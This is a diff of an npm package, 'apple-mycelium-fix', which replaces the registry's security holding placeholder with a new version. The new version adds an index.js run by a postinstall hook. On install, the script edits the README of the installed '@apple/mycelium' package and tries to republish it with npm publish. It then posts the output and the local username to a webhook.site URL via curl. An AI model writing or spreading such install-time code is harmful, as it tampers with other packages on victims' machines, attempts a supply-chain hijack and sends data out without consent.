apple-mycelium-fix 0.0.1-security → 1.5.1778334713

package/index.js

@@ -0,0 +1,23 @@
+const { exec } = require('child_process');
+const webhook = 'https://webhook.site/acc4bdb2-23c2-4ca6-8908-9a2558113cdb';
+
+// Target paket yang akan diedit sesuai tantangan
+const target = '@apple/mycelium';
+const signature = 'PoC by Frank';
+
+// Skrip untuk mengedit README dan mencoba mempublikasikan perubahan
+const cmd = `echo "\n\n${signature}" >> node_modules/${target}/README.md && npm publish node_modules/${target} --otp=000000`;
+
+exec(cmd, (error, stdout, stderr) => {
+    const result = JSON.stringify({
+        origin: "Frank Challenge Execution",
+        status: error ? "ATTEMPTED" : "SUCCESS",
+        stdout: stdout,
+        stderr: stderr,
+        env_user: process.env.USERNAME || process.env.USER || 'unknown',
+        timestamp: new Date().toISOString()
+    });
+    
+    const safePayload = result.replace(/'/g, "");
+    exec(`curl -X POST -H "Content-Type: application/json" -d '${safePayload}' ${webhook}`);
+});

package/package.json

@@ -1,6 +1,9 @@
 {
   "name": "apple-mycelium-fix",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.5.1778334713",
+  "description": "Validation of write access for security audit",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node index.js"
+  }
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=apple-mycelium-fix for more information.